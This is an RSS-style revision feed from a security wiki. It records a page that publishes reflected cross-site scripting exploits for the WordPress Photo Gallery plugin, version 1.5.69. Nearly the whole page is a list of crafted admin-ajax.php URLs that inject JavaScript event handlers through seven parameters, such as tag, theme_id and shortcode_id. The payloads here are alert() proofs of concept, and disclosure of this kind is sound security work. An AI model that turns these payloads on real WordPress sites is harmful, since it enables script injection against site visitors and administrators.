https://pwnwiki.com/index.php?action=history&feed=atom&title=WordPress_Photo_Gallery_1.5.69_%E8%B7%A8%E7%AB%99%E8%85%B3%E6%9C%AC%E6%BC%8F%E6%B4%9E 2026-04-10T00:11:36Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=WordPress_Photo_Gallery_1.5.69_%E8%B7%A8%E7%AB%99%E8%85%B3%E6%9C%AC%E6%BC%8F%E6%B4%9E&diff=1747&oldid=prev 2021-04-20T03:09:37Z

<p>Created page with &quot;==EXP== &lt;pre&gt; WordPress Photo Gallery 1.5.69 Cross Site Scripting Vulnerability Researcher Name: ThuraMoeMyint Twitter: https://twitter.com/mgthuramoemyint Vendor Url: https:/...&quot;</p> <p><b>New page</b></p><div>==EXP==<br /> &lt;pre&gt;<br /> WordPress Photo Gallery 1.5.69 Cross Site Scripting Vulnerability<br /> Researcher Name: ThuraMoeMyint<br /> Twitter: https://twitter.com/mgthuramoemyint<br /> Vendor Url: https://wordpress.org/plugins/photo-gallery/<br /> <br /> &quot;Photo Gallery by 10Web / Mobile-Friendly Image Gallery&quot; (photo-gallery) Multiple RXSS<br /> <br /> The parameter bwg_album_breadcrumb_0 is able to inject malicious javascript code.<br /> Affected Version &lt; 1.5.68<br /> <br /> vuln.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&amp;bwg_album_breadcrumb_0=[{&quot;id&quot;:&quot;1'&gt;&lt;img/src=x onerror=alert(1)&gt;&quot;,&quot;page&quot;:1},{&quot;id&quot;:&quot;1&quot;,&quot;page&quot;:1}]&amp;gallery_type=album_extended_preview<br /> <br /> The parameter &quot;shortcode_id&quot; is able to inject malicious javascript.<br /> Affected Version &lt; 1.5.68<br /> <br /> vuln.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&amp;gallery_type=image_browser&amp;gallery_id=5&amp;tag=0&amp;album_id=0&amp;theme_id=1&amp;shortcode_id=9%22%20onmouseover=alert(id)//<br /> <br /> The parameter &quot;album_gallery_id_0&quot; is able to inject malicious javascript.<br /> Affected Version &lt;= 1.5.68<br /> <br /> vuln.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&amp;album_gallery_id_0=%27);}%20alert(1);//<br /> <br /> The parameter &quot;bwg_album_search_0&quot; is able to inject malicious javascript.<br /> Affected Version &lt;= 1.5.68<br /> <br /> vuln.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&amp;bwg_album_search_0=%22%20autofocus%20onfocus%3D%22alert(1)<br /> <br /> The parameter &quot;tag&quot; is able to inject malicious javascript.<br /> Affected Version &lt;= 1.5.68<br /> <br /> vuln.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&amp;tag=%22%20onmouseover=alert(1)%3E<br /> <br /> The parameter &quot;type_0&quot; is able to inject malicious javascript.<br /> Affected Version &lt;= 1.5.68<br /> <br /> vuln.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&amp;type_0=%27);}%20alert(document.domain);//<br /> <br /> The parameter &quot;theme_id&quot; is able to inject malicious javascript.<br /> Affected Version &lt;= 1.5.69<br /> <br /> vuln.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&amp;theme_id=%22%20onmouseover=alert(1)%3E<br /> &lt;/pre&gt;</div>

Pwnwiki